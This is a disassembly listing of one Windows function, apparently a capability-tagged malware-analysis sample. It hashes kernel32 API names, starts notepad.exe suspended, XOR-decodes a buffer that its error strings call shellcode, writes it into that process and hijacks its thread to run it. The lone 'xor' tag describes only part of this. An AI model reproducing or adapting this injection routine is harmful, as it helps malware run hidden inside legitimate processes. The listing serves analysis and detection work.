Function at 0x140001be0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
xorps xmm0, xmm0
mov qword [rsp + 0x50], rdx
movups xmmword [rbp - 0x48], xmm0
mov qword [rsp + 0x68], r9
mov r13, r8
movups xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0x50], 0x68
lea rcx, str.CreateProcessA
movups xmmword [rbp - 0x28], xmm0
xor edx, edx
mov al, 0x43
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
nop word [rax + rax]
ror edx, 0xd
lea rcx, [rcx + 1]
movsx eax, al
add edx, eax
movzx eax, byte [rcx]
test al, al
jne 0x140001c50
lea rbx, str.kernel32.dll
xor ecx, ecx
mov r8, rbx
mov al, 0x6b
nop dword [rax]
nop word [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001c80
call fcn.140001800
mov qword [rsp + 0x58], rax
lea r8, str.GetThreadContext
xor edx, edx
mov cl, 0x47
nop dword [rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001cb0
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001cd0
call fcn.140001800
mov qword [rsp + 0x60], rax
lea r8, str.VirtualAllocEx
xor edx, edx
mov cl, 0x56
nop dword [rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001d00
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001d20
call fcn.140001800
mov rsi, rax
lea r8, str.WriteProcessMemory
xor edx, edx
mov cl, 0x57
nop word [rax + rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001d50
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001d70
call fcn.140001800
mov qword [rbp - 0x80], rax
lea r8, str.VirtualProtectEx
xor edx, edx
mov cl, 0x56
nop dword [rax + rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001da0
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001dc0
call fcn.140001800
mov r12, rax
lea r8, str.SetThreadContext
xor edx, edx
mov cl, 0x53
nop word [rax + rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001df0
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001e10
call fcn.140001800
mov r15, rax
lea r8, str.ResumeThread
xor edx, edx
mov cl, 0x52
nop word [rax + rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001e40
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001e60
call fcn.140001800
mov r14, rax
lea r8, [0x1400055d0]
xor edx, edx
mov cl, 0x54
nop word [rax + rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001e90
mov r8, rbx
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea r8, [r8 + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [r8]
test al, al
jne 0x140001eb0
call fcn.140001800
mov rdi, rax
mov qword [rsp + 0x78], rax
lea r8, str.CloseHandle
xor edx, edx
mov cl, 0x43
nop dword [rax]
ror edx, 0xd
lea r8, [r8 + 1]
movsx ecx, cl
add edx, ecx
movzx ecx, byte [r8]
test cl, cl
jne 0x140001ee0
xor ecx, ecx
mov al, 0x6b
nop dword [rax + rax]
ror ecx, 0xd
lea rbx, [rbx + 1]
movsx eax, al
add ecx, eax
movzx eax, byte [rbx]
test al, al
jne 0x140001f00
call fcn.140001800
mov rbx, rax
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], eax
call qword [rsp + 0x58]
test eax, eax
jne 0x140001f7b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_al_crear_el_proceso_objetivo._n
call fcn.140002950
xor al, al
jmp 0x1400020cc
mov rcx, qword [rbp - 0x70]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x50], 0x10000b
call qword [rsp + 0x60]
test eax, eax
jne 0x140001fc3
lea rdx, str.Error_al_obtener_el_contexto_del_hilo._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002950
mov rcx, qword [rbp - 0x78]
mov edx, 1
call rdi
mov rcx, qword [rbp - 0x70]
call rbx
mov rcx, qword [rbp - 0x78]
call rbx
xor al, al
jmp 0x1400020cc
mov rcx, qword [rbp - 0x78]
mov r9d, 0x3000
mov r8, r13
mov dword [rsp + 0x20], 0x40
xor edx, edx
call rsi
mov rsi, rax
test rax, rax
jne 0x140001fed
lea rdx, str.Error_al_reservar_memoria_en_el_proceso_objetivo._n
jmp 0x140001f99
xor r10d, r10d
test r13, r13
je 0x14000202d
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
nop
mov r9, qword [rbx]
xor edx, edx
mov rcx, qword [rbx + 8]
mov rax, r10
sub rcx, r9
div rcx
movzx eax, byte [rdx + r9]
xor byte [rdi + r10], al
inc r10
cmp r10, r13
jb 0x140002000
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov r8, qword [rsp + 0x50]
mov r9, r13
mov rcx, qword [rbp - 0x78]
mov rdx, rsi
mov qword [rsp + 0x20], 0
call qword [rbp - 0x80]
test eax, eax
jne 0x140002058
lea rdx, str.Error_al_escribir_el_shellcode_en_la_memoria_del_proceso_objetivo._n
jmp 0x140001f99
mov rcx, qword [rbp - 0x78]
lea rax, [rbp - 0x60]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
mov r8, r13
mov rdx, rsi
call r12
test eax, eax
jne 0x140002084
lea rdx, str.Error_al_cambiar_la_protecci
jmp 0x140001f99
mov rcx, qword [rbp - 0x70]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0xa0], rsi
call r15
test eax, eax
jne 0x1400020a6
lea rdx, str.Error_al_establecer_el_contexto_del_hilo._n
jmp 0x140001f99
mov rcx, qword [rbp - 0x70]
call r14
cmp eax, 0xffffffff
jne 0x1400020be
lea rdx, str.Error_al_reanudar_el_proceso_objetivo._n
jmp 0x140001f99
mov rcx, qword [rbp - 0x70]
call rbx
mov rcx, qword [rbp - 0x78]
call rbx
mov al, 1
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.140002ec0
mov rbx, qword [rsp + 0x640]
add rsp, 0x600
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret